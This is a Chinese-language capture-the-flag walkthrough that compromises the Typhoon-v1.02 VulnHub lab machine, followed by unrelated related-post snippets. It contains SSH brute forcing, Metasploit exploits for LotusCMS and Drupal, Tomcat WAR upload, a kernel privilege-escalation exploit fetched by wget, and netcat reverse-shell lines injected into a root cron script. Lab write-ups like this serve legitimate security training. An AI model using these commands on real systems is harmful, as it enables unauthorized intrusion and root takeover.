Typhoon-v1.02 靶机入侵
0x01 前言
Typhoon VM包含多个漏洞和配置错误。Typhoon可用于测试网络服务中的漏洞,配置错误,易受攻击的Web应用程序,密码破解攻击,权限提升攻击,后期利用步骤,信息收集和DNS攻击。
Typhoon-v1.02镜像下载地址:
https://download.vulnhub.com/typhoon/Typhoon-v1.02.ova.torrent
0x02 信息收集
1.存活主机扫描
arp-scan -l
发现192.168.1.104就是目标靶机系统
2.端口探测
nmap-A 192.168.1.104 root@kali2018:~# nmap -A 192.168.1.104 Starting Nmap 7.70 ( https://nmap.org ) at 2019-01-30 09:17 EST Nmap scan report for 192.168.1.104 Host is up (.0012s latency). Not shown: closed ports PORT STATE SERVICE VERSION /tcp open ftpvsftpd 3.0. |_ftp-anon: Anonymous FTP login allowed (FTP code ) | ftp-syst: | STAT: | FTP server status: | Connected to 192.168.1.21 | Logged in as ftp | TYPE: ASCII | No session bandwidth limit | Session timeout in seconds is | Control connection is plain text | Data connections will be plain text | At session startup, client count was | vsFTPd 3.0. - secure, fast, stable |_End of status /tcp open sshOpenSSH 6.6.1p1 Ubuntu 2ubuntu2 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | :df:b3:1b::dc:5e:fd:f9::d7:5b:b7:d6:7b:f9 (DSA) | de:af::::2a:8f:cf:0b:2f::f8::::dd (RSA) | :ae::6c::7d:ed:1b:c0::fc:2d::8d:: (ECDSA) |_ bb:ce:f2:::f7:8f:ae:f0:dd:3c::3b:a6:0f: (ED25519) /tcp open smtpPostfix smtpd |_smtp-commands: typhoon, PIPELINING, SIZE , VRFY, ETRN, STARTTLS, ENHANCEDSTATUSCODES, 8BITMIME, DSN, | ssl-cert: Subject: commonName=typhoon | Not valid before: --22T19:: |_Not valid after:--19T19:: |_ssl-date: TLS randomness does not represent time /tcp open domainISC BIND 9.9.- (Ubuntu Linux) | dns-nsid: |_ bind.version: 9.9.--Ubuntu /tcp open httpApache httpd 2.4. ((Ubuntu)) | http-robots.txt: disallowed entry |_/mongoadmin/ |_http-server-header: Apache/2.4. (Ubuntu) |_http-title: Typhoon Vulnerable VM by PRISMA CSI /tcp open pop3? |_ssl-date: TLS randomness does not represent time /tcp open rpcbind2- (RPC #) | rpcinfo: | program version port/protoservice | ,,/tcp rpcbind | ,,/udp rpcbind | ,,/tcp nfs | ,,/udp nfs | ,,/udp mountd | ,,/tcp mountd | ,,/udp nlockmgr | ,,/tcp nlockmgr | /tcp status | /udp status | ,/tcp nfs_acl |_ ,/udp nfs_acl /tcp open netbios-ssn Samba smbd .X - .X (workgroup: WORKGROUP) /tcp open imapDovecot imapd /tcp open netbios-ssn Samba smbd 4.1.-Ubuntu (workgroup: WORKGROUP) /tcp open ippCUPS 1.7 | http-methods: |_ Potentially risky methods: PUT | http-robots.txt: disallowed entry |_/ |_http-server-header: CUPS/1.7 IPP/2.1 |_http-title: Home - CUPS 1.7. /tcp open ssl/imapDovecot imapd |_imap-capabilities: CAPABILITY | ssl-cert: Subject: commonName=typhoon/organizationName=Dovecot mail server | Not valid before: --22T19:: |_Not valid after:--21T19:: |_ssl-date: TLS randomness does not represent time /tcp open ssl/pop3s? | ssl-cert: Subject: commonName=typhoon/organizationName=Dovecot mail server | Not valid before: --22T19:: |_Not valid after:--21T19:: |_ssl-date: TLS randomness does not represent time /tcp open nfs_acl - (RPC #) /tcp open mysql MySQL (unauthorized) /tcp open postgresql PostgreSQL DB 9.3. - 9.3. | ssl-cert: Subject: commonName=typhoon | Not valid before: --22T19:: |_Not valid after:--19T19:: |_ssl-date: TLS randomness does not represent time /tcp open http Apache Tomcat/Coyote JSP engine 1.1 | http-methods: |_ Potentially risky methods: PUT DELETE |_http-open-proxy: Proxy might be redirecting requests |_http-server-header: Apache-Coyote/1.1 |_http-title: Apache Tomcat MAC Address: :0C::5A::7D (VMware) Device type: general purpose Running: Linux .X|.X OS CPE: cpe:/o:linux:linux_kernel: cpe:/o:linux:linux_kernel: OS details: Linux 3.2 - 4.9 Network Distance: hop Service Info: Hosts: typhoon, TYPHOON; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel Host script results: |_clock-skew: mean: -39m59s, deviation: 1h09m15s, median: 0s |_nbstat: NetBIOS name: TYPHOON, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown) | smb-os-discovery: | OS: Unix (Samba 4.1.-Ubuntu) | Computer name: typhoon | NetBIOS computer name: TYPHOON\x00 | Domain name: local | FQDN: typhoon.local |_ System time: --30T16::+: | smb-security-mode: | account_used: guest | authentication_level: user | challenge_response: supported |_ message_signing: disabled (dangerous, but default) | smb2-security-mode: | 2.02: |_ Message signing enabled but not required | smb2-time: | date: -- :: |_ start_date: N/A TRACEROUTE HOP RTT ADDRESS 1.21 ms 192.168.1.104 OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: IP address ( host up) scanned in 193.97 seconds
可发现80,8080,22等端口开放。
3.目录扫描
通过dirb对目标网站进行扫描发现存在phpmyadmin以及robots.txt和drupal,cms等目录文件
0x03靶机攻击
1. ssh端口爆破
1.1枚举账号
发现端口22开放,其版本为openssh 6.6.1p1,利用OpenSSH新爆出的CVE爆出目标主机的用户,这对特定的用户爆破密码,建议爆破1000条。先用searchsploit查找OpenSSH 6.6.1p1出现的漏洞,找到两个用户名枚举漏洞.
root@kali2018:~#searchsploit openssh
利用msf进行账号枚举。这里的用户名字典我采用:
https://raw.githubusercontent.com/fuzzdb-project/fuzzdb/master/wordlists-user-passwd/names/namelist.txt
上图中可以看到成功枚举出admin账号,通过hydra对靶机的ssh进行爆破。
hydra -l admin -P /usr/share/wordlists/rockyou.txt.gz -t4 ssh://192.168.1.104
可以看到成功爆破了ssh,用户名为:admin 密码为:metallica
本地登录远程靶机的ssh
ssh admin@192.168.1.104
1.2权限提升
登陆进去以后我尝试命令:sudo bash , 再输入密码发现成功的GET到root权限,这种方法不稳定
admin@typhoon:~$ sudo bash [sudo] password for admin: root@typhoon:~#
2. web 应用mongo
2.1 信息收集
通过上面nmap扫描出80端口带有的mongoadmin目录以及目录扫描出来的robots.txt
访问:http://192.168.1.104/robots.txt
转到该目录,您将看到一个用于管理公开的Mongo实例的Web界面, 稍后点击几下,您将看到SSH帐户的凭据
ssh typhoon@192,168.30.129
2.2权限提升
获得低权限shell后,下一步是将权限升为root。在您的信息收集过程中,您会注意到一个看起来很奇怪的脚本/tab/script.sh
find / -type f -perm /o+w 2>/dev/null | grep -Ev '(proc|sys|www)'
可以猜测该脚本是以root用户权限运行的一个cron。那么我们可以nc用来进行反弹shell。但是,主机上nc没有-e选项。
没问题。我们仍然可以做这样的事情。一方面,nc在攻击机器上打开一个监听器。另一方面,将以下命令添加到/tab/script.sh
echo 'rm -rf /tmp/p; mknod /tmp/p p; /bin/bash 0</tmp/p | nc 192.168.30.128 1234 >/tmp/p' >> /tab/script.sh
在攻击主机上执行NC进行监听
nc -lvvp
3. web应用cms
3.1 漏洞攻击
更进一步,我做了nikto扫描主机,并找到了一些有趣的目录。
扫描结果之后在/cms目录中,发现一个内容管理系统正在运行,称为“LotusCMS”
过单击login选项,已重定向到CMS登录后台页面。
然后我搜索了此CMS登录的默认凭据,我发现此CMS容易受到eval()函数中存在的一个远程执行代码漏洞的攻击。
通过链接浏览,我发现metasploit为此提供利用exp
在kali中打开msfconsole,并使用了以下exp
然后设置RHOST的远程IP地址和运行CMS的URI路径。
msf > search lcms_php_exec Matching Modules ================ Name Disclosure Date Rank Description ---- --------------- --------------- exploit/multi/http/lcms_php_exec2011-- excellent LotusCMS 3.0 eval() Remote Command Execution msf > use exploit/multi/http/lcms_php_exec msf exploit(multi/http/lcms_php_exec) > show options Module options (exploit/multi/http/lcms_php_exec): Name Current Setting RequiredDescription ---- --------------- ------------------- Proxies no A proxy chain of format type:host:port[,type:host:port][...] RHOST yes The target address RPORT yes The target port (TCP) SSL false no Negotiate SSL/TLS for outgoing connections URI /lcms/ yes URI VHOST no HTTP server virtual host Exploit target: Id Name -- ---- Automatic LotusCMS 3.0 msf exploit(multi/http/lcms_php_exec) > set rhost set rhost msf exploit(multi/http/lcms_php_exec) > set rhost 192.168.1.104 rhost => 192.168.1.104 msf exploit(multi/http/lcms_php_exec) > set rport rport => msf exploit(multi/http/lcms_php_exec) > set URI /cms/ URI => /cms/ msf exploit(multi/http/lcms_php_exec) > exploit [*] Started reverse TCP handler on 192.168.1.21: [*] Using found page param: /cms/index.php?page=index [*] Sending exploit ... [*] Sending stage ( bytes) to 192.168.1.104 [*] Meterpreter session opened (192.168.1.21: -> 192.168.1.104:) at -- :: - meterpreter > pwd /var/www/html/cms meterpreter > shell Process created. Channel created. /bin/bash -i bash: cannot set terminal process group (): Inappropriate ioctl for device bash: no job control in this shell
当我运行'exploit'命令时,我的反向shell被执行了,得到了一个session会话。
在获得了meterpreter会话后,已经进入了一个交互式bash shell,发现用户是id为33的'www-data'
3.2 权限提升
进入系统后,使用以下命令检查操作系统的内核版本
uname -a
获得Linux版本后,使用searchsploit搜索漏洞,发现Linux内核版本“overlayFS”容易受到本地权限提升的影响。
root@kali2018:~# searchsploit linux 3.13.
然后将利用exp复制到/opt目录下
root@kali2018:~# cp /usr/share/exploitdb/exploits/linux/local/.c /opt
使用python搭建小型http服务器,以提供利用exp下载
python -m SimpleHTTPServer
使用wget命令将该利用exp从kali主机下载到到目标主机tmp目录。(只有tmp目录具有写入文件的权限)
www-data@typhoon:/var/www/html/cms$ cd /tmp www-data@typhoon:/tmp$ wget http://192.168.1.21:81/37292.c wget http://192.168.1.21:81/37292.c ---- ::-- http://192.168.1.21:81/37292.c Connecting to 192.168.1.21:... connected. HTTP request sent, awaiting response... OK Length: (.0K) [text/plain] Saving to: '37292.c' 0K ....% 8.28M=.001s -- :: (8.28 MB/s) - '37292.c' saved [/] www-data@typhoon:/tmp$ ls .c 65d9383ff514cbd01ac65e38806095d7.dat 8c10a35add3f21e11383c7911852072e.dat f71487e6e9c666dc5b99e37305c00db5.dat hsperfdata_tomcat7 mongodb-.sock tomcat7-tomcat7-tmp
使用以下命令编译exp
gcc <exploitname> -o <输出文件名>
www-data@typhoon:/tmp$ gcc .c -o37292 www-data@typhoon:/tmp$ ls
当我运行已编译的文件时,将普通用户通过升级权限成为root用户
www-data@typhoon:/tmp$ ./
使用命令/bin/bash -i将生成交互式shell
# /bin/bash -i
falg:
进入root目录然后读取flag信息
root@typhoon:/tmp# cd /root root@typhoon:/root# cat root-flag
4. web应用Tomcat
4.1 漏洞攻击
使用Tomcat Manager Upload获取meterpreter,然后进一步建立反向连接以获得root访问权限。
从namp扫描端口可发现8080端口已开发,并且是Apache Tomcat / Coyote JSP Engine 1.1版本。在浏览器上窗口中打开地址:http://192.168.1.104:8080
使用Metasploits Tomcat Manager的默认用户名tomcat和默认密码tomcat登录到tomcat管理后台。
使用msf对其tomcat进行攻击。
4.2 权限提升
我们需要使用Msfvenom创建一个bash代码:
msfvenom –p cmd/unix/reverse_netcat lhost=192.168.1.21 lport= R
之后将上面生成的恶意代码在目标靶机系统中添加到script.sh文件
echo "mkfifo /tmp/uodb; nc 192.168.1.21 222 0</tmp/uodb | /bin/sh >/tmp/uodb 2>&1; rm /tmp/uodb " > script.sh
由于恶意代码是使用script.sh文件执行的。因此我们在netcat监听器上有一个反弹shell。
5.web应用drupal
通过上面目录扫描工具dirb对目标网站扫描发现有drupal cms
我们通过利用metasploit搜索Drupal cms模块漏洞进行攻击
use exploit/unix/webapp/drupal_drupalgeddon2 msf exploit(/unix/webapp/drupal_drupalgeddon2) > set rhost 192.168.1.104 msf exploit(/unix/webapp/drupal_drupalgeddon2) > set targeturi /drupal msf exploit(/unix/webapp/drupal_drupalgeddon2) > exploit
6.Tomcat的后台管理获取shell
通过上面目录扫描工具dirb扫描发现8080端口开放的tomcat服务
通过google可知默认的tomcat后台目录为/manager/html,用户名:tomcat,密码:tomcat
我们可以msfvenom来生WAR文件
msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.1.21 LPORT= -f war -o evil.war
可以看到evulll.war具体内容:
我已经成功部署了webapp
要访问恶意Web应用程序,请在浏览器的地址栏中输入以下内容:
http://192.168.1.104:8080/evil/tudvpurwgjh.jsp
本地监听NC可反弹
同是也可以上传大马war包
Typhoon-v1.02 靶机入侵的更多相关文章
- Fowsniff: 1靶机入侵
一.信息收集 1.存活主机扫描 arp-scan -l 发现192.168.1.13是目标靶机的IP地址 2.端口扫描 接下来用nmap神器来扫描目标IP地址,命令如下: root@kali2018 ...
- [C] c99int(让VC等编译器自动兼容C99的整数类型)V1.02。源码托管到github、添加CMake编译配置文件、使用doxygen规范注释
新版本—— http://www.cnblogs.com/zyl910/p/zlstdint_v100.html[C] zlstdint(让VC.TC等编译器自动兼容C99的整数类型)V1.0.支持T ...
- java计算器 图形用户界面 升级版 v1.02
package com.rgy.entity; import java.awt.BorderLayout; import java.awt.Font; import java.awt.GridLayo ...
- digitalworld.local: MERCY靶机入侵
0x01 前言 MERCY是一个致力于PWK课程安全的靶机系统.MERCY是一款游戏名称,与易受攻击的靶机名称无关.本次实验是攻击目标靶机获取root权限并读系统目录中的proof.txt信息 靶机的 ...
- FourAndSix: 2.01靶机入侵
0x01 前言 FourAndSix2是易受攻击的一个靶机,主要任务是通过入侵进入到目标靶机系统然后提权,并在root目录中并读取flag.tx信息 FourAndSix2.镜像下载地址: htt ...
- Raven: 2靶机入侵
0x00 前言 Raven 2是一个中等难度的boot2root 虚拟靶机.有四个flag需要找出.在多次被攻破后,Raven Security采取了额外措施来增强他们的网络服务器安全以防止黑客入侵. ...
- Moonraker:1靶机入侵
0x01 前言 攻击Moonraker系统并且找出存在最大的威胁漏洞,通过最大威胁漏洞攻击目标靶机系统并进行提权获取系统中root目录下的flag信息. Moonraker: 1镜像下载地址: h ...
- DailyWallpaper v1.02 released
上次忘了写软件说明,先补上一个. 软件说明: 每天定时(暂定上午11点)下载美国国家地理网站的photo of the day图片作为桌面壁纸.下载图片会以日期为名称保存在C:\DailyWallpa ...
- 基于FineUIMVC的代码生成器(传统三层)v1.0-2
第一篇博客只是粗略说明了一下,其实这个工具真正用话可能大家还要细看下,我今天(连夜)写个例子,截几个图,做一下自定义模板的实例教程,因为代码生成本身是个工具,动画效果都是次要的,主要是工具本身,其中自 ...
随机推荐
- python的字符串格式化
1.python到底有那几种字符串格式化模块? python有3种格式化字符串的方法: 传统的%字符串格式符 str.format函数 字符串模版template 新的python 3.6+还提供了新 ...
- window搭建私有云,只要几分钟
本文介绍如何在window搭建私有云网盘. 工具/原料:一台window系统电脑或者window服务器(vps),Xampp 安装包,可道云kodexplorer安装包 第一步,xampp安装 1.官 ...
- Spring入门学习笔记(2)——基于Java的配置
目录 基于Java的配置 @Configuration & @Bean Annotations Example 注入Bean依赖 @Import注解 Lifecycle Callbacks(声 ...
- mongodb 如何删除 字段值为 json对象中的某个字段值
例如: { attributes: { birthday:'1988-01-01', name: 'aq' } } birthday是attributes字段的value的一个字段, 我要删除birt ...
- 对React children 的深入理解
React的核心为组件.你可以像嵌套HTML标签一样嵌套使用这些组件,这使得编写JSX更加容易因为它类似于标记语言. 当我刚开始学习React时,当时我认为“使用 props.children 就这么 ...
- 快速删除docker中的容器
http://blog.csdn.net/cmzsteven/article/details/49230363
- DB2分页查询简单示例
select * from ( select a.* ,rownumber() over(order by create_time desc) as rowid from ( select * fro ...
- The Begining
学习记录之旅,就此开始.软件工程,Java神马的统统到我碗里来.
- bug--注意Android编译打包--找不到某某类
http://blog.csdn.net/mad1989/article/details/9142557 看到这篇 才解决问题= = 15,ClassNotFoundException: Didn't ...
- Gradle入门(5):创建二进制发布版本
在创建了一个实用的应用程序之后,我们可能想将其与他人分享.其中一种方式就是创建一个可以从网站上下载的二进制文件. 这篇教程描述了如何创建一个二进制发布版本,满足以下需求: 二进制发布一定不能使用所谓的 ...